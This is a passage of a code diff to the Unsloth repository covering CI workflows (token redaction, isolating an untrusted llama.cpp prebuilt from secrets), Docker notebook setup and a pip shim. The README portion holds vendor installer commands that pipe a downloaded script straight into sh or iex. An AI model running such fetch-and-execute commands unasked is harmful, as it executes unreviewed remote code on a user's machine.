GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
@ -209,7 +209,7 @@ jobs:
;;
*)
# OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw).
# OpenClaw's connect.py recipe writes an "openai-completions"
# OpenClaw's start.py recipe writes an "openai-completions"
# provider (write_openclaw_config), so it uses this path, not
# /v1/messages.
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
@ -227,13 +227,13 @@ jobs:
AGENT: ${{ matrix.agent }}
run: bash .github/scripts/agent-guides-install.sh "$AGENT"
# ── (c) drive the agent via connect.py and assert a reply ──────────
# For the 5 agents with a connect.py recipe we run
# `unsloth connect <agent> --no-launch`, eval its env/unset exports,
# ── (c) drive the agent via start.py and assert a reply ──────────
# For the 5 agents with a start.py recipe we run
# `unsloth start <agent> --no-launch`, eval its env/unset exports,
# then run the printed command with a hard timeout (no headless-TTY
# hang). Pi has no connect recipe, so it is driven by hand and the
# cell asserts that absence is the (known) reason.
- name: Drive ${{ matrix.agent }} via unsloth connect (class-c isolation)
- name: Drive ${{ matrix.agent }} via unsloth start (class-c isolation)
env:
AGENT: ${{ matrix.agent }}
run: bash .github/scripts/agent-guides-drive.sh connection "$AGENT"
@ -248,8 +248,10 @@ jobs:
# `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
# step publishes all of logs/, so scrubbing only studio-logs would leak
# the bearer token in the retained artifact.
# Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
# agent-workdir/ are published by the same upload step.
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
done
fi
@ -438,8 +440,10 @@ jobs:
# `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
# step publishes all of logs/, so scrubbing only studio-logs would leak
# the bearer token in the retained artifact.
# Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
# agent-workdir/ are published by the same upload step.
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
done
fi
@ -582,8 +586,10 @@ jobs:
# `API Key: <key>`) into logs/unsloth-run-<port>.log, and the upload
# step publishes all of logs/, so scrubbing only studio-logs would leak
# the bearer token in the retained artifact.
# Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and
# agent-workdir/ are published by the same upload step.
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
done
fi

183
.github/workflows/mlx-ci.yml vendored
View file

@ -163,7 +163,7 @@ jobs:
'pytest==9.0.3' \
'pytest-asyncio==1.3.0' \
'httpx==0.28.1'
pip install --index-url https://download.pytorch.org/whl/cpu \
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch==2.10.0'
# github.com occasionally 500s on the git fetch; retry the
# zoo install so a single upstream blip does not fail CI.
@ -231,99 +231,6 @@ jobs:
tests/studio/test_is_mlx_dispatch_gate.py \
tests/studio/test_mlx_training_worker_behaviors.py
# Studio prebuilt llama.cpp install + GGUF inference. Mirrors the
# path Studio's setup.sh takes on macOS since #5963: plan against
# the unslothai/llama.cpp fork's latest release, which ships the
# bin-macos-arm64 bundle plus the llama-prebuilt-manifest.json the
# default policy reads. After install, downloads a small published
# GGUF (unsloth/gemma-3-270m-it-GGUF, Q4_K_M) and validates
# llama-server /completion end to end. An install failure or a
# non-zero binary exit is an Unsloth/Studio bug.
- name: Studio prebuilt llama.cpp install + GGUF inference (Mac M1)
env:
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
# install_llama_prebuilt.py hits the GitHub releases API to
# resolve the asset URL. Anonymous calls share the runner-IP
# rate-limit bucket and 403 quickly -- pass the workflow's
# automatic GITHUB_TOKEN to bump us to the 5000/hr authenticated
# bucket.
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
rm -rf "$INSTALL_DIR"
# Mirror studio/setup.sh on macOS (the install.sh user path):
# it plans against the unslothai/llama.cpp fork's latest
# release with no policy or tag flags.
python studio/install_llama_prebuilt.py \
--install-dir "$INSTALL_DIR" \
--published-repo unslothai/llama.cpp
# Studio bundles only llama-server + llama-quantize from the
# prebuilt (not llama-cli) -- inference goes through
# llama-server's HTTP /completion endpoint. Validate both:
# llama-quantize --help proves the dynamic libs link, then
# spin up llama-server and POST a /completion request on a
# tiny published GGUF.
LLAMA_SERVER="$INSTALL_DIR/build/bin/llama-server"
LLAMA_QUANT="$INSTALL_DIR/build/bin/llama-quantize"
[ -x "$LLAMA_SERVER" ] || { echo "::error::llama-server missing at $LLAMA_SERVER"; find "$INSTALL_DIR/build" -type f | head -40; exit 1; }
[ -x "$LLAMA_QUANT" ] || { echo "::error::llama-quantize missing at $LLAMA_QUANT"; exit 1; }
echo "llama-server : $LLAMA_SERVER"
echo "llama-quantize: $LLAMA_QUANT"
"$LLAMA_QUANT" --help >/dev/null && echo " llama-quantize loads OK"
mkdir -p /tmp/ggufs
bash .github/scripts/hf-download-with-retry.sh \
'unsloth/gemma-3-270m-it-GGUF' \
'gemma-3-270m-it-Q4_K_M.gguf' \
/tmp/ggufs
PORT=18080
echo "=== starting llama-server on 127.0.0.1:$PORT ==="
"$LLAMA_SERVER" \
-m /tmp/ggufs/gemma-3-270m-it-Q4_K_M.gguf \
--host 127.0.0.1 \
--port "$PORT" \
-c 256 \
-n 16 \
--no-warmup \
> /tmp/llama-server.log 2>&1 &
SERVER_PID=$!
trap 'kill "$SERVER_PID" 2>/dev/null || true' EXIT
# Wait for /health to come up
for i in $(seq 1 30); do
if curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
echo " server up after ${i}s"
break
fi
sleep 1
done
if ! curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
echo "::error::llama-server never became healthy"
tail -40 /tmp/llama-server.log
exit 1
fi
PROMPT="Hello, my name is"
echo "=== POST /completion ==="
RESP=$(curl -sf -X POST "http://127.0.0.1:$PORT/completion" \
-H 'Content-Type: application/json' \
-d "{\"prompt\":\"$PROMPT\",\"n_predict\":16,\"temperature\":0,\"seed\":3407}")
echo "raw response (head): $(echo "$RESP" | head -c 600)"
CONTENT=$(echo "$RESP" | python -c "import json,sys; print(json.loads(sys.stdin.read()).get('content',''))")
echo "completion content: $CONTENT"
if [ -z "$CONTENT" ]; then
echo "::error::llama-server /completion returned empty content"
tail -40 /tmp/llama-server.log
exit 1
fi
echo "OK: Studio prebuilt llama.cpp on Mac M1 + GGUF /completion works"
# Real MLX training + inference smoke test. Trains
# unsloth/gemma-3-270m-it for 7 deterministic LoRA steps
# (batch_size=2, gradient_accumulation_steps=3) on a single
@ -338,6 +245,9 @@ jobs:
UNSLOTH_COMPILE_DISABLE: '1'
run: |
mkdir -p mlx_workdir
# Authenticate llama.cpp's release-API lookup (anonymous 403s on rate-limit);
# read-only GITHUB_TOKEN scoped here only, never to steps that run binaries.
GH_TOKEN="${{ secrets.GITHUB_TOKEN }}" GITHUB_TOKEN="${{ secrets.GITHUB_TOKEN }}" \
python tests/studio/run_real_mlx_smoke.py train \
--workdir "$PWD/mlx_workdir"
@ -406,3 +316,88 @@ jobs:
cat "$f" 2>/dev/null || echo "(missing)"
echo
done
# Validates the macOS prebuilt path Studio's setup.sh uses (#5963): install the
# unslothai/llama.cpp fork's latest release, download a small public GGUF, and
# check llama-server /completion end to end. Split and placed last so the
# untrusted binary runs only in the final smoke step, after every HF_TOKEN step,
# leaving no token-bearing step or shared workspace for a tampered prebuilt to
# corrupt. GH_TOKEN: releases API; HF_TOKEN (withheld on PR): probe + GGUF fetch.
- name: Studio prebuilt llama.cpp install + GGUF download (Mac M1)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
set -euo pipefail
INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
rm -rf "$INSTALL_DIR"
# Download only -- no llama-quantize / llama-server launch in this step.
python studio/install_llama_prebuilt.py \
--install-dir "$INSTALL_DIR" \
--published-repo unslothai/llama.cpp
mkdir -p /tmp/ggufs
bash .github/scripts/hf-download-with-retry.sh \
'unsloth/gemma-3-270m-it-GGUF' \
'gemma-3-270m-it-Q4_K_M.gguf' \
/tmp/ggufs
# Final step: runs the downloaded binaries with no secrets present, and clears
# the GitHub Actions command files so a tampered prebuilt cannot influence the job.
- name: Studio prebuilt llama.cpp GGUF inference smoke (Mac M1)
run: |
set -euo pipefail
unset GITHUB_ENV GITHUB_PATH GITHUB_OUTPUT GITHUB_STEP_SUMMARY
INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
# Studio bundles only llama-server + llama-quantize (not llama-cli);
# inference goes through llama-server's HTTP /completion endpoint.
LLAMA_SERVER="$INSTALL_DIR/build/bin/llama-server"
LLAMA_QUANT="$INSTALL_DIR/build/bin/llama-quantize"
[ -x "$LLAMA_SERVER" ] || { echo "::error::llama-server missing at $LLAMA_SERVER"; find "$INSTALL_DIR/build" -type f | head -40; exit 1; }
[ -x "$LLAMA_QUANT" ] || { echo "::error::llama-quantize missing at $LLAMA_QUANT"; exit 1; }
echo "llama-server : $LLAMA_SERVER"
echo "llama-quantize: $LLAMA_QUANT"
"$LLAMA_QUANT" --help >/dev/null && echo " llama-quantize loads OK"
PORT=18080
echo "=== starting llama-server on 127.0.0.1:$PORT ==="
"$LLAMA_SERVER" \
-m /tmp/ggufs/gemma-3-270m-it-Q4_K_M.gguf \
--host 127.0.0.1 \
--port "$PORT" \
-c 256 \
-n 16 \
--no-warmup \
> /tmp/llama-server.log 2>&1 &
SERVER_PID=$!
trap 'kill "$SERVER_PID" 2>/dev/null || true' EXIT
# Wait for /health to come up
for i in $(seq 1 30); do
if curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
echo " server up after ${i}s"
break
fi
sleep 1
done
if ! curl -sf "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
echo "::error::llama-server never became healthy"
tail -40 /tmp/llama-server.log
exit 1
fi
PROMPT="Hello, my name is"
echo "=== POST /completion ==="
RESP=$(curl -sf -X POST "http://127.0.0.1:$PORT/completion" \
-H 'Content-Type: application/json' \
-d "{\"prompt\":\"$PROMPT\",\"n_predict\":16,\"temperature\":0,\"seed\":3407}")
echo "raw response (head): $(echo "$RESP" | head -c 600)"
CONTENT=$(echo "$RESP" | python -c "import json,sys; print(json.loads(sys.stdin.read()).get('content',''))")
echo "completion content: $CONTENT"
if [ -z "$CONTENT" ]; then
echo "::error::llama-server /completion returned empty content"
tail -40 /tmp/llama-server.log
exit 1
fi
echo "OK: Studio prebuilt llama.cpp on Mac M1 + GGUF /completion works"

2
.github/workflows/notebooks-ci.yml vendored
View file

@ -263,7 +263,7 @@ jobs:
# unsloth_zoo.vision_utils imports PIL at module top, and the
# easiest way to get a torch-compatible PIL on a CPU runner is
# to let torchvision pull the right Pillow version.
pip install --index-url https://download.pytorch.org/whl/cpu \
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.8,<2.11' 'torchvision<0.26'
# Pin to the same versions update_all_notebooks.py installs in
# generated notebooks. Keep these in lockstep with PIN_TRL /

15
.github/workflows/studio-backend-ci.yml vendored
View file

@ -68,15 +68,16 @@ jobs:
pip install -r studio/backend/requirements/studio.txt
# Extras that studio.txt does not list but the import chain needs
# (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography
# for the auth DB, yaml/jinja2 for utils.models.model_config, etc.):
# for the auth DB, yaml/jinja2 for utils.models.model_config, psutil for
# the orphan-cleanup process scan, etc.):
pip install \
python-multipart aiofiles sqlalchemy cryptography \
python-multipart aiofiles sqlalchemy cryptography psutil \
pyyaml jinja2 mammoth unpdf requests \
'numpy<3' pytest pytest-asyncio httpx
# Torch CPU + transformers are required by a chunk of the backend test
# suite (gpu_selection, kv_cache_estimation, utils). CPU-only torch
# keeps the install ~250 MB / ~1 min on a clean runner.
pip install --index-url https://download.pytorch.org/whl/cpu 'torch>=2.4,<2.11'
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple 'torch>=2.4,<2.11'
pip install 'transformers>=4.51,<5.5'
- name: Backend tests
@ -133,11 +134,11 @@ jobs:
python -m pip install --upgrade pip
pip install -r studio/backend/requirements/studio.txt
pip install \
python-multipart aiofiles sqlalchemy cryptography \
python-multipart aiofiles sqlalchemy cryptography psutil \
pyyaml jinja2 mammoth unpdf requests typer \
'numpy<3' pytest pytest-asyncio httpx
# torchvision: unsloth_zoo.vision_utils imports it at module scope.
pip install --index-url https://download.pytorch.org/whl/cpu \
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.4,<2.11' 'torchvision<0.26'
pip install 'transformers>=4.51,<5.5'
# bitsandbytes: hard import in unsloth/models/_utils.py. Recent
@ -229,7 +230,9 @@ jobs:
tests/sh/test_resolve_cuda_archs.sh \
tests/sh/test_tauri_install_exit_order.sh \
tests/sh/test_torch_constraint.sh \
tests/sh/test_torch_flavor.sh; do
tests/sh/test_torch_flavor.sh \
tests/sh/test_with_llama_cpp_dir_flag.sh \
tests/sh/test_with_llama_cpp_dir_link_behavior.sh; do
echo "::group::$s"
bash "$s"
echo "::endgroup::"

76
.github/workflows/studio-export-capability-ci.yml vendored Normal file
View file

@ -0,0 +1,76 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# Runs studio/backend/tests/test_export_capability.py on Linux, Windows and macOS.
#
# export_capability() is per-OS (is_apple_silicon() and the PyTorch-import probe differ per
# platform) and the export backend must import without PyTorch, so this confirms the gating and
# import-safety on hosted Windows/macOS. Hosted runners have no GPU/MLX, so a real accelerator
# export is validated separately. No GPU / model / llama.cpp: the tests mock the probes and block
# torch/unsloth, so the job installs only a CPU PyTorch plus import deps.
name: Studio export capability
on:
pull_request:
paths:
- 'studio/backend/utils/hardware/hardware.py'
- 'studio/backend/core/export/export.py'
- 'studio/backend/routes/export.py'
- 'studio/backend/main.py'
- 'studio/backend/tests/test_export_capability.py'
- '.github/workflows/studio-export-capability-ci.yml'
push:
branches: [main]
paths:
- 'studio/backend/utils/hardware/hardware.py'
- 'studio/backend/core/export/export.py'
- 'studio/backend/routes/export.py'
- 'studio/backend/main.py'
- 'studio/backend/tests/test_export_capability.py'
- '.github/workflows/studio-export-capability-ci.yml'
workflow_dispatch:
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
permissions:
contents: read
jobs:
capability:
name: capability (${{ matrix.os }})
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 20
env:
# No accelerator on hosted runners; keep detection on the CPU path.
CUDA_VISIBLE_DEVICES: ""
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
persist-credentials: false
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
with:
python-version: '3.12'
cache: 'pip'
- name: Upgrade pip
run: python -m pip install --upgrade pip
- name: Install CPU PyTorch
# CPU wheel index so every OS gets a CPU build; keep PyPI as an extra index so torch's
# transitive deps still resolve (matching the other workflows in this repo).
run: python -m pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple "torch>=2.4,<2.13"
- name: Install backend import deps
# Enough to import utils.hardware and core.export.export; NOT unsloth (needs a GPU, and
# the import-safety test blocks it) or triton/llama.cpp (Linux-only / native builds).
run: python -m pip install
transformers peft accelerate safetensors huggingface_hub datasets
sentencepiece protobuf fastapi starlette structlog psutil
python-multipart pydantic httpx "numpy<3" pytest
- name: Export capability + import-safety tests
working-directory: studio/backend
run: python -m pytest tests/test_export_capability.py -q

29
.github/workflows/studio-mac-ui-smoke.yml vendored
View file

@ -185,13 +185,14 @@ jobs:
# Retry up to 3 times to absorb known macos-14 free-runner
# flakes: (1) Playwright Node 24 pipeTransport.js 'Unexpected
# end of JSON input' crash when the Chromium browser process
# dies mid-test, and (2) Chromium net::ERR_NO_BUFFER_SPACE
# when the runner's kernel briefly runs out of socket buffers.
# The retry FULLY resets Studio (kill, reset-password, reboot,
# wait /api/health, re-export bootstrap pw) before re-running
# the script. A real test failure (assertion / timeout) does
# NOT match either pattern so it bypasses retry and surfaces
# immediately.
# dies mid-test, (2) Chromium net::ERR_NO_BUFFER_SPACE when the
# runner's kernel briefly runs out of socket buffers, and (3) a
# goto 'interrupted by another navigation' when the SPA auth
# guard redirects mid-navigation. The retry FULLY resets Studio
# (kill, reset-password, reboot, wait /api/health, re-export
# bootstrap pw) before re-running the script. A real test failure
# (assertion / timeout) does NOT match any pattern so it bypasses
# retry and surfaces immediately.
run: |
mkdir -p logs/playwright
attempt=1
@ -204,8 +205,9 @@ jobs:
if [ "$rc" -eq 0 ]; then
break
fi
if { grep -q "Unexpected end of JSON input" logs/playwright_attempt_${attempt}.log \
|| grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_attempt_${attempt}.log; } \
if { grep -q "Unexpected end of JSON input" logs/playwright_attempt_${attempt}.log \
|| grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_attempt_${attempt}.log \
|| grep -q "interrupted by another navigation" logs/playwright_attempt_${attempt}.log; } \
&& [ "$attempt" -lt "$max_attempts" ]; then
echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..."
kill "${STUDIO_PID}" 2>/dev/null || true
@ -280,8 +282,8 @@ jobs:
STUDIO_UI_TURN_TIMEOUT_MS: '540000'
GGUF_REPO: ${{ env.GGUF_REPO }}
GGUF_VARIANT: ${{ env.GGUF_VARIANT }}
# Same flake-retry shape as "Drive the chat UI with Playwright"
# -- catches pipeTransport JSON crash and ERR_NO_BUFFER_SPACE.
# Same flake-retry shape as "Drive the chat UI with Playwright" -- catches
# pipeTransport JSON crash, ERR_NO_BUFFER_SPACE, and nav interrupts.
run: |
mkdir -p logs/playwright_extra
attempt=1
@ -294,8 +296,9 @@ jobs:
if [ "$rc" -eq 0 ]; then
break
fi
if { grep -q "Unexpected end of JSON input" logs/playwright_extra_attempt_${attempt}.log \
|| grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_extra_attempt_${attempt}.log; } \
if { grep -q "Unexpected end of JSON input" logs/playwright_extra_attempt_${attempt}.log \
|| grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_extra_attempt_${attempt}.log \
|| grep -q "interrupted by another navigation" logs/playwright_extra_attempt_${attempt}.log; } \
&& [ "$attempt" -lt "$max_attempts" ]; then
echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..."
kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true

24
.github/workflows/studio-windows-inference-smoke.yml vendored
View file

@ -1338,11 +1338,19 @@ jobs:
shell: pwsh
run: |
$ErrorActionPreference = 'Stop'
# A Program Files dir can hold a transient handle (Defender / MSBuild node)
# so Rename-Item intermittently fails with "Access is denied"; retry to ride it out.
function Rename-WithRetry($Path, $NewName) {
for ($i = 1; $i -le 6; $i++) {
try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
}
}
# Rename the Visual Studio install roots (incl. the Installer that holds
# vswhere.exe) so Find-VsBuildTools' vswhere + filesystem scan both miss.
foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
if (Test-Path -LiteralPath $d) {
Rename-Item -LiteralPath $d -NewName ((Split-Path $d -Leaf) + '.vsoff')
Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff')
Write-Host "Hid VS: $d"
}
}
@ -1351,7 +1359,7 @@ jobs:
$hidden = @()
foreach ($c in (Get-Command cmake -All -ErrorAction SilentlyContinue)) {
if ($c.Source -and (Test-Path -LiteralPath $c.Source)) {
Rename-Item -LiteralPath $c.Source -NewName ((Split-Path $c.Source -Leaf) + '.off')
Rename-WithRetry $c.Source ((Split-Path $c.Source -Leaf) + '.off')
$hidden += $c.Source
Write-Host "Hid cmake: $($c.Source)"
}
@ -1376,7 +1384,7 @@ jobs:
- name: PyTorch CPU wheel installs and imports (no Visual Studio)
run: |
python -m pip install --upgrade pip
python -m pip install torch --index-url https://download.pytorch.org/whl/cpu
python -m pip install torch --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple
python -c "import torch; print('torch', torch.__version__, 'cuda?', torch.cuda.is_available())"
- name: Install Studio (--local, --no-torch) with no build tools present
@ -1536,8 +1544,16 @@ jobs:
shell: pwsh
run: |
$ErrorActionPreference = 'Stop'
# Retry the rename: a Program Files dir can hold a transient handle that
# makes Rename-Item intermittently fail with "Access is denied".
function Rename-WithRetry($Path, $NewName) {
for ($i = 1; $i -le 6; $i++) {
try { Rename-Item -LiteralPath $Path -NewName $NewName -ErrorAction Stop; return }
catch { if ($i -eq 6) { throw }; Start-Sleep -Seconds 3 }
}
}
foreach ($d in @("$env:ProgramFiles\Microsoft Visual Studio", "${env:ProgramFiles(x86)}\Microsoft Visual Studio")) {
if (Test-Path -LiteralPath $d) { Rename-Item -LiteralPath $d -NewName ((Split-Path $d -Leaf) + '.vsoff'); Write-Host "Hid VS: $d" }
if (Test-Path -LiteralPath $d) { Rename-WithRetry $d ((Split-Path $d -Leaf) + '.vsoff'); Write-Host "Hid VS: $d" }
}
- name: Windows CUDA and ROCm prebuilts exist in unslothai/llama.cpp (what GPU users download, no VS)

2
.github/workflows/version-compat-ci.yml vendored
View file

@ -242,7 +242,7 @@ jobs:
run: |
python -m pip install --upgrade pip
# CPU torch (vllm/peft/st all depend on it).
pip install --index-url https://download.pytorch.org/whl/cpu \
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10'
# torchcodec is a hard requirement on transformers 5.x:
# transformers/audio_utils.py:55 does

5
README.md
View file

@ -246,6 +246,11 @@ curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_STUDIO_HOME=/abs/path sh
$env:UNSLOTH_STUDIO_HOME='C:\path'; irm https://unsloth.ai/install.ps1 | iex
```
On macOS, the installer defaults to the system certificate store (`UV_SYSTEM_CERTS=1`) so uv trusts the CAs in your Keychain, needed behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.). Opt out with:
```bash
curl -fsSL https://unsloth.ai/install.sh | UV_SYSTEM_CERTS=0 sh
```
Point the frontend build at a corporate npm mirror/proxy with `UNSLOTH_NPM_REGISTRY` (for the developer install behind a firewall that blocks `registry.npmjs.org`):
```bash
UNSLOTH_NPM_REGISTRY=https://artifactory.example.com/api/npm/npm/ ./install.sh --local

13
docker/Dockerfile
View file

@ -686,11 +686,20 @@ RUN set -eux \
&& ln -sf /opt/unsloth-nb/unsloth_nb_content_sig.py /usr/local/bin/unsloth-nb-content-sig \
&& ln -sf /opt/unsloth-nb/unsloth_nb_view.py /usr/local/bin/unsloth-nb-view \
&& ln -sf /opt/unsloth-nb/unsloth_nb_strip_colab.py /usr/local/bin/unsloth-nb-strip-colab \
&& mkdir -p /root/.ipython/profile_default/startup \
&& cp /opt/unsloth-nb/unsloth_ipython_startup.py /root/.ipython/profile_default/startup/00-unsloth-nb.py \
&& mkdir -p /opt/unsloth-nb/ipython/profile_default/startup \
&& cp /opt/unsloth-nb/unsloth_ipython_startup.py /opt/unsloth-nb/ipython/profile_default/startup/00-unsloth-nb.py \
&& chmod -R a+rX /opt/unsloth-nb/ipython \
&& /opt/unsloth-venv/bin/python -c "import sys, glob; sys.path.insert(0, '$SP'); import unsloth_nb_compat, unsloth_colab_compat; print('nb-compat OK; baked sidecars:', sorted(glob.glob('/opt/unsloth-venv/tf-sidecars/t_*')))"
# Shim dir AHEAD of the venv bin so `!pip`/`!uv` resolve to the shim, not the real tool.
ENV PATH=/opt/unsloth-nb/bin:${PATH}
# Load the notebook startup hook (sidecar activation + %pip/%uv magic re-point)
# for EVERY kernel, whatever uid runs it. IPYTHONDIR (inherited by any user via
# ENV) points IPython at this shared profile, so the hook still loads when the
# container is started with `--user <uid>` and $HOME is not /root -- unlike a
# /root/.ipython startup dir, which only a root kernel reads. Kernel-writable
# state (history.sqlite) still lands under each user's own path, so a read-only
# profile dir is fine.
ENV IPYTHONDIR=/opt/unsloth-nb/ipython
# Pre-clone unslothai/notebooks so JupyterLab opens with the notebooks already
# present (no git clone or wget needed). Baked here as a READ-ONLY template

20
docker/unsloth_ipython_startup.py
View file

@ -13,6 +13,26 @@ try:
# `!pip install ...` / `!uv pip install ...` (which inherits this env) gets
# the safe-install behaviour. Unset everywhere else => shim is a passthrough.
os.environ["UNSLOTH_NB_SHIM"] = "1"
# Scope the transformers-request marker to THIS kernel so two notebooks
# running concurrently in the same container (each its own kernel process)
# do not read each other's pin. The pip/uv shim runs as a child of this
# kernel and inherits UNSLOTH_NB_TF_MARKER, so writer (shim) and reader
# (unsloth_nb_compat pre_run_cell hook, same process tree) agree on the
# path. Falls back to the shared default when unset (e.g. `unsloth-run`,
# which drives a single notebook per process).
if not os.environ.get("UNSLOTH_NB_TF_MARKER"):
# A kernel id that is stable for the kernel's lifetime and unique per
# kernel: the ipykernel connection file name, else the kernel PID.
_kid = ""
try:
from ipykernel import get_connection_file # type: ignore
_kid = os.path.splitext(os.path.basename(get_connection_file()))[0]
except Exception:
_kid = ""
_kid = _kid or ("pid-%d" % os.getpid())
os.environ["UNSLOTH_NB_TF_MARKER"] = "/tmp/unsloth_nb/requested_transformers." + _kid
import unsloth_nb_compat
unsloth_nb_compat.register_ipython()

23
docker/unsloth_nb_content_sig.py
View file

@ -48,15 +48,32 @@ def _text(cell):
return src.replace("\r\n", "\n").replace("\r", "\n")
# Package-manager command fragments that mark a cell as the generated install
# cell rather than substantive tutorial code.
_INSTALL_MARKERS = (
"pip install",
"pip3-autoremove",
"uv pip install",
"conda install",
"apt-get install",
"apt install",
)
def _is_install_code(cell):
if cell.get("cell_type") != "code":
return False
t = _text(cell)
low = t.lower()
if "pip install" in low or "pip3-autoremove" in low:
if any(m in low for m in _INSTALL_MARKERS):
return True
first = t.lstrip().split("\n", 1)[0].strip().lower()
return first.startswith("%%capture") or first.startswith("%%bash")
# A %%capture / %%bash cell is boilerplate ONLY when it also carries an
# install command. A bare %%capture (e.g. wrapping training to silence
# output) or a %%bash cell doing real tutorial setup is substantive: hashing
# it keeps the boot refresh from silently skipping an upstream fix to that
# cell (a false SAME). The install markers above already catch the generated
# install cell, which begins with %%capture.
return False
def _is_boilerplate_md(cell):

3
docker/unsloth_nb_pip_magic.py
View file

@ -32,7 +32,7 @@ def _rewrite_python_dash_m(lines):
out = []
for line in lines:
body = line.rstrip("\n")
tail = line[len(body):] # preserve the trailing newline(s), if any
tail = line[len(body) :] # preserve the trailing newline(s), if any
m = _PY_M_PIP.match(body)
if m:
out.append(m.group(1) + "!" + m.group(2) + m.group(3) + tail)
@ -55,6 +55,7 @@ def register_ipython():
def _magic(line):
# /opt/unsloth-nb/bin is first on PATH, so `pip`/`uv` here is the shim.
return ip.system(tool + " " + line)
return _magic
# Override the built-in %pip / %uv so they route through the shim too.

111
docker/unsloth_pip_shim.py
View file

@ -21,7 +21,7 @@ are not intercepted -- the driven `unsloth-run` handles those by parsing the
notebook directly.
"""
import os, re, sys, subprocess, tempfile
import os, re, sys, tempfile
REAL = {"pip": "/opt/unsloth-venv/bin/pip", "uv": "/opt/unsloth-venv/bin/uv"}
MARKER = os.environ.get("UNSLOTH_NB_TF_MARKER", "/tmp/unsloth_nb/requested_transformers")
@ -75,6 +75,11 @@ _VALUE_FLAGS = {
# requirements file pulls real requirements. An index-url / find-links /
# constraint / target value is an option, not something to install.
_REQ_FILE_FLAGS = {"-r", "--requirement"}
# Constraint files are not install targets, but pip applies their pins during
# resolution, so a `-c constraints.txt` that pins torch/transformers/etc. can
# still downgrade or reinstall a baked package when another target pulls it in.
# Filter protected packages out of them the same way as requirement files.
_CONSTRAINT_FILE_FLAGS = {"-c", "--constraint"}
def _canon(token):
@ -95,6 +100,15 @@ def _canon(token):
if _dref:
return _dref.group(1).lower().replace("_", "-") or None
if re.match(r"^[a-z]+\+", token) or "://" in token or token.startswith((".", "/")):
# A VCS / URL install can still name a protected package via the legacy
# `#egg=NAME` (or `&egg=NAME`) fragment, e.g.
# `git+https://github.com/unslothai/unsloth.git#egg=unsloth`. Pull that
# name out so _KEEP can drop it; otherwise the shim would exec the URL
